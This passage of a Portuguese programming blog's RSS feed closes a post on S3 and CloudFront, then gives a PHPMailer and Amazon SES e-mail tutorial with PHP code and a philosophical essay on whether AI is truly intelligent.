<li><strong>Cacheamento:</strong> O CloudFront armazena em cache os arquivos em diversos pontos de presença (PoPs) ao redor do mundo. Isso não só reduz a latência, tornando o acesso mais rápido para os usuários, como também diminui a quantidade de requisições diretamente ao S3, economizando ainda mais nos custos de acesso.</li>



<li><strong>Melhoria de Performance:</strong> Com os arquivos sendo servidos a partir de locais mais próximos dos usuários finais, o tempo de carregamento é significativamente reduzido, proporcionando uma experiência de usuário mais fluida.</li>
</ul>



<p>Ao configurar o CloudFront para distribuir os arquivos armazenados no S3, você não só economiza, mas também melhora a performance e a escalabilidade da sua aplicação.</p>



<h3 class="wp-block-heading">Considerações Finais</h3>



<p>Ao configurar seu projeto PHP para interagir com o Amazon S3 e CloudFront, você está construindo uma solução escalável e segura para gerenciar arquivos na nuvem. O uso de variáveis de ambiente e a abordagem modular ajudam a manter a flexibilidade e a segurança do seu sistema. Além disso, a possibilidade de fazer uploads diretamente via <code>$_FILES</code> facilita a integração em sistemas que recebem arquivos de formulários HTML.</p>



<p>Se você está começando a trabalhar com AWS ou deseja melhorar seu sistema atual, essa solução pode ser o ponto de partida ideal, especialmente ao considerar as vantagens de utilizar o CloudFront para acessar seus arquivos no S3.</p>



<p><strong>Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!</strong></p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/como-subir-e-gerenciar-arquivos-no-amazon-s3-usando-php-e-por-que-configurar-uma-distribuicao-do-cloudfront/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1167</post-id>	</item>
		<item>
		<title>Enviando E-mails com PHPMailer e Amazon SES: Um Guia Completo</title>
		<link>https://www.manualdoprogramador.com/enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo</link>
					<comments>https://www.manualdoprogramador.com/enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo/#respond</comments>
		
		<dc:creator><![CDATA[Davi Antonaji]]></dc:creator>
		<pubDate>Sun, 11 Aug 2024 13:48:31 +0000</pubDate>
				<category><![CDATA[Back-end]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Amazon SES]]></category>
		<category><![CDATA[autenticação]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[desenvolvimento web]]></category>
		<category><![CDATA[envio de e-mails]]></category>
		<category><![CDATA[escalabilidade]]></category>
		<category><![CDATA[integração]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[PHP dotenv]]></category>
		<category><![CDATA[PHPMailer]]></category>
		<category><![CDATA[serviço de e-mail]]></category>
		<category><![CDATA[tutorial]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1163</guid>

					<description><![CDATA[Este post oferece um guia completo sobre como configurar o envio de e-mails utilizando PHPMailer em PHP e integrá-lo com o Amazon SES para enviar e-mails de forma segura e escalável. Aborda a importância de usar variáveis de ambiente para proteger credenciais e apresenta uma classe em PHP para facilitar o envio de e-mails com essa configuração. Além disso, explica como configurar o Amazon SES para gerenciar grandes volumes de e-mails, garantindo segurança e flexibilidade nas suas aplicações.]]></description>
										<content:encoded><![CDATA[
<p>No desenvolvimento web, enviar e-mails de forma eficiente e segura é uma tarefa comum e necessária. Para desenvolvedores PHP, uma das bibliotecas mais populares para isso é o PHPMailer. Este post irá guiá-lo na configuração do envio de e-mails utilizando o PHPMailer e como integrar essa solução com o Amazon Simple Email Service (SES) da AWS para enviar e-mails de forma escalável e segura.</p>



<h4 class="wp-block-heading"><strong>Por que usar o PHPMailer?</strong></h4>



<p>PHPMailer é uma biblioteca PHP amplamente utilizada por sua facilidade de uso e por suportar funcionalidades avançadas como envio de anexos, e-mails em HTML, e suporte a SMTP. Além disso, ele permite uma integração segura com serviços de e-mail como o Amazon SES, utilizando variáveis de ambiente para proteger suas credenciais.</p>



<h4 class="wp-block-heading"><strong>Configurando o Ambiente</strong></h4>



<p>Antes de tudo, é importante garantir que suas credenciais sensíveis, como senhas de e-mail e chaves de acesso da AWS, estejam protegidas. Isso pode ser feito utilizando variáveis de ambiente, que mantêm essas informações fora do código-fonte, minimizando riscos de exposição.</p>



<p>No entanto, para que o PHP consiga ler as variáveis de ambiente de um arquivo <code>.env</code>, é necessário utilizar uma biblioteca como o <strong>vlucas/phpdotenv</strong>.</p>



<h5 class="wp-block-heading"><strong>Passo 1: Instalação do PHP dotenv</strong></h5>



<p>Você pode instalar o <code>phpdotenv</code> utilizando o Composer:</p>



<pre class="wp-block-code"><code>composer require vlucas/phpdotenv</code></pre>



<h5 class="wp-block-heading"><strong>Passo 2: Configuração do Arqui</strong>vo .env</h5>



<p>Crie um arquivo <code>.env</code> na raiz do seu projeto e adicione suas variáveis de ambiente:</p>



<pre class="wp-block-code"><code>SMTP_HOST=email-smtp.&#091;região].amazonaws.com
SMTP_PORT=587
SMTP_USERNAME=sua_ses_access_key
SMTP_PASSWORD=sua_ses_secret_key</code></pre>



<h5 class="wp-block-heading"><strong>Passo 3: Carregando as Variáveis de Ambiente no PHP</strong></h5>



<p>No início do seu script PHP, você precisará carregar as variáveis de ambiente com o <code>phpdotenv</code>:</p>



<pre class="wp-block-code"><code>&lt;?php

require &#039;vendor/autoload.php&#039;;

// Carrega as variáveis de ambiente do arquivo .env
$dotenv = Dotenv\Dotenv::createImmutable(__DIR__);
$dotenv-&gt;load();

$host = getenv(&#039;SMTP_HOST&#039;);
$username = getenv(&#039;SMTP_USERNAME&#039;);
// Agora você pode utilizar essas variáveis na configuração do PHPMailer</code></pre>



<h4 class="wp-block-heading"><strong>Instalação do PHPMailer</strong></h4>



<p>Agora que suas variáveis de ambiente estão configuradas, é hora de instalar o PHPMailer. A maneira mais simples de fazer isso é utilizando o Composer:</p>



<pre class="wp-block-code"><code>composer require phpmailer/phpmailer</code></pre>



<h4 class="wp-block-heading"><strong>Criando a Classe de Envio de E-mails</strong></h4>



<p>Agora vamos criar uma classe em PHP que utiliza o PHPMailer para enviar e-mails. Esta classe será configurada para usar as variáveis de ambiente que definimos anteriormente.</p>



<pre class="wp-block-code"><code>&lt;?php

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require &#039;vendor/autoload.php&#039;;

class EmailService
{
    private $mailer;

    public function __construct()
    {
        $this-&gt;mailer = new PHPMailer(true);
        $this-&gt;configure();
    }

    private function configure()
    {
        // Configurações do servidor SMTP
        $this-&gt;mailer-&gt;isSMTP();
        $this-&gt;mailer-&gt;Host = getenv(&#039;SMTP_HOST&#039;);
        $this-&gt;mailer-&gt;SMTPAuth = true;
        $this-&gt;mailer-&gt;Username = getenv(&#039;SMTP_USERNAME&#039;);
        $this-&gt;mailer-&gt;Password = getenv(&#039;SMTP_PASSWORD&#039;);
        $this-&gt;mailer-&gt;SMTPSecure = &#039;tls&#039;;
        $this-&gt;mailer-&gt;Port = getenv(&#039;SMTP_PORT&#039;);
    }

    public function sendEmail($fromEmail, $fromName, $to, $subject, $body)
    {
        try {
            // Configurações do remetente
            $this-&gt;mailer-&gt;setFrom($fromEmail, $fromName);
            $this-&gt;mailer-&gt;addAddress($to);

            // Cabeçalhos adicionais para resposta
            $this-&gt;mailer-&gt;addReplyTo($fromEmail, $fromName);
            $this-&gt;mailer-&gt;addCustomHeader(&#039;Return-Path&#039;, $fromEmail);

            $this-&gt;mailer-&gt;Subject = $subject;
            $this-&gt;mailer-&gt;Body = $body;
            $this-&gt;mailer-&gt;isHTML(true);

            // Enviar o e-mail
            $this-&gt;mailer-&gt;send();

            return &quot;E-mail enviado com sucesso!&quot;;
        } catch (Exception $e) {
            return &quot;Erro ao enviar e-mail: {$this-&gt;mailer-&gt;ErrorInfo}&quot;;
        }
    }
}

// Exemplo de uso
$emailService = new EmailService();
$result = $emailService-&gt;sendEmail(&#039;usuario@seudominio.com.br&#039;, &#039;Nome do Usuário&#039;, &#039;destinatario@example.com&#039;, &#039;Assunto do E-mail&#039;, &#039;Corpo do e-mail&#039;);
echo $result;</code></pre>



<h4 class="wp-block-heading"><strong>Usando o Amazon SES</strong></h4>



<p>O Amazon SES (Simple Email Service) é um serviço de e-mail baseado na nuvem que permite o envio de grandes volumes de e-mails de forma confiável e segura. Ele utiliza Access Key e Secret Key para autenticação, e você pode configurar domínios verificados para garantir que os e-mails enviados sejam considerados legítimos pelos provedores de e-mail.</p>



<p>Ao configurar o Amazon SES com PHPMailer, o processo de envio de e-mails se torna mais robusto, permitindo que você gerencie altas demandas de e-mails sem se preocupar com limitações comuns de servidores de e-mail tradicionais.</p>



<h5 class="wp-block-heading"><strong>Passos para configurar o SES:</strong></h5>



<ol class="wp-block-list">
<li><strong>Verifique o domínio:</strong> Antes de enviar e-mails com o SES, é necessário verificar o domínio que você deseja utilizar.</li>



<li><strong>Crie credenciais de acesso:</strong> No painel da AWS, crie um novo usuário com permissões específicas para o SES e gere as chaves de acesso (Access Key e Secret Key).</li>



<li><strong>Configure o PHPMailer:</strong> Use as chaves geradas nas variáveis de ambiente e configure o PHPMailer conforme mostrado no exemplo acima.</li>
</ol>



<h4 class="wp-block-heading"><strong>Conclusão</strong></h4>



<p>Com essa configuração, você pode enviar e-mails de forma segura utilizando PHPMailer e variáveis de ambiente, além de integrar o Amazon SES para gerenciar grandes volumes de e-mails de forma escalável. Ao passar o e-mail do remetente como parâmetro, você permite que o usuário logado envie e-mails com seu próprio endereço, mantendo a personalização e autenticidade da comunicação.</p>



<p>Essa abordagem não só melhora a segurança das suas aplicações como também oferece flexibilidade na gestão de envios de e-mail em projetos PHP.</p>



<p><strong>Gostou do conteúdo? Deixe seu comentário abaixo e compartilhe com outros desenvolvedores que podem se beneficiar deste tutorial!</strong></p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/enviando-e-mails-com-phpmailer-e-amazon-ses-um-guia-completo/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1163</post-id>	</item>
		<item>
		<title>AS INTELIGÊNCIAS ARTIFICIAIS SÃO REALMENTE INTELIGENTES?</title>
		<link>https://www.manualdoprogramador.com/as-inteligencias-artificiais-sao-realmente-inteligentes/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=as-inteligencias-artificiais-sao-realmente-inteligentes</link>
					<comments>https://www.manualdoprogramador.com/as-inteligencias-artificiais-sao-realmente-inteligentes/#respond</comments>
		
		<dc:creator><![CDATA[Silvio Cesar Junior]]></dc:creator>
		<pubDate>Sat, 10 Aug 2024 20:08:35 +0000</pubDate>
				<category><![CDATA[Programação]]></category>
		<category><![CDATA[aprendizado de maquina]]></category>
		<category><![CDATA[Aristóteles]]></category>
		<category><![CDATA[autocosciência]]></category>
		<category><![CDATA[comparação IA e humano]]></category>
		<category><![CDATA[consicência]]></category>
		<category><![CDATA[filosofia da inteligência]]></category>
		<category><![CDATA[futuro da IA]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[inteiligência artificial]]></category>
		<category><![CDATA[inteligência artificial e ética]]></category>
		<category><![CDATA[inteligência humana]]></category>
		<category><![CDATA[machine learning]]></category>
		<category><![CDATA[raciocínio]]></category>
		<category><![CDATA[Teste de Turing]]></category>
		<guid isPermaLink="false">https://www.manualdoprogramador.com/?p=1151</guid>

					<description><![CDATA[Este post explora a complexa questão de se as máquinas podem realmente pensar, partindo da ideia de inteligência artificial proposta por Alan Turing até a comparação entre a inteligência humana e a inteligência artificial sob a perspectiva filosófica de Aristóteles. O texto detalha como a IA imita funções humanas, como aprendizado, raciocínio e tomada de decisões, através de machine learning, mas destaca as limitações da IA em comparação com a cognição humana, especialmente em aspectos como consciência, compreensão das essências e raciocínio independente. Conclui que, embora a IA possa realizar tarefas complexas, a verdadeira inteligência reside na capacidade humana de criar, entender e raciocinar com propósito.]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="1024" height="1024" src="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/DALL%C2%B7E-2024-08-10-17.07.19-A-visually-striking-image-that-explores-the-concept-of-artificial-intelligences-intelligence.-The-image-should-depict-a-futuristic-digital-brain-wit.webp?resize=1024%2C1024&#038;ssl=1" alt="" class="wp-image-1155" style="width:651px;height:auto" srcset="https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/DALL%C2%B7E-2024-08-10-17.07.19-A-visually-striking-image-that-explores-the-concept-of-artificial-intelligences-intelligence.-The-image-should-depict-a-futuristic-digital-brain-wit.webp?w=1024&amp;ssl=1 1024w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/DALL%C2%B7E-2024-08-10-17.07.19-A-visually-striking-image-that-explores-the-concept-of-artificial-intelligences-intelligence.-The-image-should-depict-a-futuristic-digital-brain-wit.webp?resize=300%2C300&amp;ssl=1 300w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/DALL%C2%B7E-2024-08-10-17.07.19-A-visually-striking-image-that-explores-the-concept-of-artificial-intelligences-intelligence.-The-image-should-depict-a-futuristic-digital-brain-wit.webp?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/www.manualdoprogramador.com/wp-content/uploads/2024/08/DALL%C2%B7E-2024-08-10-17.07.19-A-visually-striking-image-that-explores-the-concept-of-artificial-intelligences-intelligence.-The-image-should-depict-a-futuristic-digital-brain-wit.webp?resize=768%2C768&amp;ssl=1 768w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p><span data-token-index="0" class="notion-enable-hover" style="font-weight:600">Será que as máquinas podem pensar?</span> Essa pergunta nos leva a refletir sobre a verdadeira natureza da inteligência artificial. O que realmente significa ser &#8220;inteligente&#8221;? Podemos realmente chamar, por exemplo, o ChatGPT de inteligente, ou ele é apenas uma ferramenta avançada para realizar tarefas específicas?</p>



<h3 class="wp-block-heading">Como funciona uma Inteligência Artificial</h3>



<p>Para começarmos, precisamos entender: <strong>Como funciona uma Inteligência Artificial?</strong></p>



<p>A ideia de inteligência artificial remonta a Alan Turing, que se questionou: <em>As máquinas podem pensar?</em> Essa questão foi o ponto de partida para o desenvolvimento do que hoje chamamos de IA.</p>



<p>Ele formulou essa questão em seu artigo de 1950, &#8220;Computing Machinery and Intelligence&#8221;, onde introduziu o que agora conhecemos como o Teste de Turing. Esse teste oferece um critério para determinar se uma máquina é capaz de exibir inteligência equivalente ou indistinguível da humana. No Teste de Turing, um interrogador humano interage com um participante oculto (que pode ser uma máquina ou outro humano) através de uma interface baseada em texto. Se o interrogador não consegue consistentemente distinguir a máquina do humano, a máquina é considerada &#8220;pensante&#8221; segundo o critério de Turing.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Em essência, a inteligência artificial é a capacidade de um computador imitar funções humanas, como raciocinar, aprender, prever, resolver problemas e tomar decisões.</p>
</blockquote>



<p>Para imitar a inteligência humana, as máquinas precisam aprender como nós aprendemos. Vamos explorar isso com um exemplo simples.</p>



<p>Imagine uma criança brincando com um brinquedo. Ela o solta várias vezes e aprende que ele sempre cai no chão. Esse processo de aprendizado é semelhante ao aprendizado de máquina, ou machine learning, que é uma parte essencial da IA.</p>



<p><strong>Machine Learning: Como as Máquinas Aprendem a Pensar</strong></p>



<p>Machine Learning, ou Aprendizado de Máquina, é uma técnica fascinante onde as máquinas aprendem a reconhecer padrões e fazer previsões, quase como se estivessem pensando. Imagine ensinar um computador a identificar um cachorro em uma foto; com Machine Learning, isso não só é possível, mas algo que já acontece todos os dias em nossos smartphones e redes sociais!</p>



<p>Por exemplo, quando você mostra a uma máquina várias fotos, algumas com cachorros e outras sem, ela aprende a reconhecer características comuns aos cachorros. Depois de aprender o suficiente, ela pode olhar para uma nova foto e dizer com confiança se há ou não um cachorro nela.</p>



<p>Mas não para por aí! Machine Learning também é usado para fazer previsões mais complexas, como:</p>



<ul class="wp-block-list">
<li><strong>Previsão do Tempo</strong>: Ao analisar dados históricos do clima, a máquina pode prever se vai chover amanhã em sua cidade.</li>



<li><strong>Reconhecimento de Voz</strong>: Quando você fala com assistentes virtuais, como Siri ou Alexa, é Machine Learning que ajuda esses dispositivos a entenderem sua voz.</li>



<li><strong>Detecção de Fraudes</strong>: Bancos usam essas tecnologias para identificar atividades suspeitas e prevenir fraudes em suas contas.</li>
</ul>



<p>Essa tecnologia não é apenas incrível; ela está transformando a maneira como vivemos, aprendemos e trabalhamos, tornando os dispositivos mais inteligentes e nossas vidas mais fáceis e segura</p>



<h3 class="wp-block-heading">O que é Inteligência?</h3>



<p>Definir inteligência é uma tarefa surpreendentemente complexa, pois varia amplamente dependendo de quem você pergunta e em qual campo estão falando. No entanto, se mergulharmos nas ideias dos filósofos, podemos descobrir nuances fascinantes sobre esse conceito.</p>



<p>Segundo a filosofia, especialmente nas reflexões de Aristóteles, a inteligência vai muito além de simplesmente &#8220;ser esperto&#8221;. Para ele, inteligência, ou &#8220;nous&#8221;, é uma manifestação profunda da alma racional, capaz de entender não apenas o que as coisas são, mas sua essência mais profunda. Vejamos como Aristóteles descreve algumas características dessa habilidade:</p>



<ul class="wp-block-list">
<li><strong>Apreensão das Essências</strong>: Não é apenas sobre ver ou tocar; é sobre compreender o que faz uma coisa ser verdadeiramente o que é.
<ul class="wp-block-list">
<li>Imagine tentar descrever o que é um gato para alguém que nunca viu um. Você não se limitaria a falar sobre pelos e bigodes; você explicaria que gatos são ágeis, independentes e caçadores por natureza. Essa capacidade de capturar a &#8220;essência&#8221; de algo vai muito além da aparência superficial.</li>
</ul>
</li>



<li><strong>Intelecto Ativo e Passivo</strong>: É a capacidade de receber informações (passivo) e sua habilidade de realmente entender e usar essas informações (ativo).
<ul class="wp-block-list">
<li>Pense no intelecto passivo como um aluno em uma aula, recebendo informações do professor. O intelecto ativo é quando esse aluno vai além, fazendo perguntas e relacionando as informações com o que já sabe, tornando o aprendizado mais profundo e significativo.</li>
</ul>
</li>



<li><strong>Conhecimento dos Primeiros Princípios</strong>: Não se limita apenas a como sabemos coisas, mas por que essas coisas são verdadeiras.
<ul class="wp-block-list">
<li>É similar a aprender a jogar xadrez. Os primeiros princípios são as regras básicas (como cada peça se move). Compreendendo essas regras, você pode começar a desenvolver estratégias e entender jogadas mais complexas, construindo todo o seu conhecimento do jogo a partir dessa base.</li>
</ul>
</li>



<li><strong>Consciência e Autoconsciência</strong>: Mais do que perceber o mundo, é entender seu lugar nele.
<ul class="wp-block-list">
<li>Isso pode ser visto quando você está em uma situação social desconfortável e reconhece seus próprios sentimentos de ansiedade. Essa autoconsciência permite que você ajuste seu comportamento, talvez tentando relaxar ou se envolver mais na conversa.</li>
</ul>
</li>



<li><strong>Raciocínio e Contemplação</strong>: A habilidade de mergulhar profundamente em pensamentos complexos e meditar sobre as grandes questões da vida.
<ul class="wp-block-list">
<li>Imagine um filósofo ponderando sobre &#8220;o que é a felicidade?&#8221;. Essa não é uma questão prática do dia a dia, mas uma profunda contemplação que requer raciocínio lógico para explorar diferentes ideias e perspectivas, buscando uma compreensão mais profunda sobre como viver uma vida plena.</li>
</ul>
</li>
</ul>



<p>Em resumo, inteligência é a incrível capacidade de adquirir e aplicar conhecimentos e habilidades, explorando e compreendendo o mundo ao nosso redor e dentro de nós. É o motor por trás de cada descoberta, cada insight criativo e cada decisão sábia que tomamos.</p>



<h3 class="wp-block-heading">Diferenças entre IA e Inteligência Humana</h3>



<p>A questão de se as Inteligências Artificiais (IA) são realmente &#8220;inteligentes&#8221; depende da definição de inteligência que adotamos e da perspectiva sob a qual analisamos.</p>



<h3 class="wp-block-heading">Comparando com a Inteligência Humana:</h3>



<p>E com as característica da inteligência definida por Aristóteles com nous.</p>



<ol class="wp-block-list">
<li><strong>Apreensão das Essências</strong>: Enquanto seres humanos entendem a essência das coisas de maneira intuitiva e profunda, a IA trabalha principalmente com dados e padrões que foram programados ou aprendidos através de grandes quantidades de exemplos. Ela pode identificar um gato em imagens com alta precisão, mas não necessariamente &#8220;compreende&#8221; o que faz um gato ser um gato além de suas características visuais.</li>



<li><strong>Intelecto Ativo e Passivo</strong>: A IA pode ser vista como tendo um intelecto passivo altamente desenvolvido, capaz de processar e armazenar mais informações do que os humanos. No entanto, seu intelecto ativo, a capacidade de gerar novas ideias ou conceitos de forma independente, ainda é limitado em comparação com a cognição humana.</li>



<li><strong>Conhecimento dos Primeiros Princípios</strong>: A IA pode utilizar princípios básicos programados para tomar decisões em jogos ou resolver problemas específicos, mas sua capacidade de generalizar esses princípios em contextos não familiares é limitada sem intervenção humana ou ajustes no seu treinamento.</li>



<li><strong>Consciência e Autoconsciência</strong>: Atualmente, as IAs não possuem consciência ou autoconsciência. Elas não têm experiências subjetivas e não podem refletir sobre si mesmas de maneira consciente como os seres humanos.</li>



<li><strong>Raciocínio e Contemplação</strong>: As IAs podem simular formas de raciocínio, especialmente em áreas estruturadas como matemática ou lógica. Contudo, elas não &#8220;contemplam&#8221; no sentido humano de ponderar significados mais profundos ou questões existenciais.</li>
</ol>



<h3 class="wp-block-heading">Conclusão</h3>



<p>Então, <strong>as IAs são realmente inteligentes?</strong> A resposta curta é: <strong>não exatamente</strong>. Embora as IAs possam processar enormes quantidades de dados e gerar respostas que parecem inteligentes, elas não têm entendimento real ou consciência.</p>



<p>As IAs baseiam suas respostas nas verdades universais fornecidas pela inteligência humana. Se 90% dos humanos acreditam que ovos fazem mal para a saúde, e apenas 10% dizem o contrário, a IA pode concluir que ovos são prejudiciais com base na quantidade de informações. Isso reflete um processo de análise de dados, não de raciocínio independente.</p>



<p>A inteligência artificial é uma ferramenta poderosa, mas é a inteligência humana que a guia, instrui e interpreta seus resultados. A verdadeira inteligência reside na nossa capacidade de entender, raciocinar e criar com propósito e intenção.</p>



<p>Muito obrigado pela leitura, e não se esqueça de curtir o post, se inscrever na newsletter e deixar um comentário abaixo. Até a próxima!</p>



<p></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.manualdoprogramador.com/as-inteligencias-artificiais-sao-realmente-inteligentes/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1151</post-id>	</item>
	</channel>
</rss>
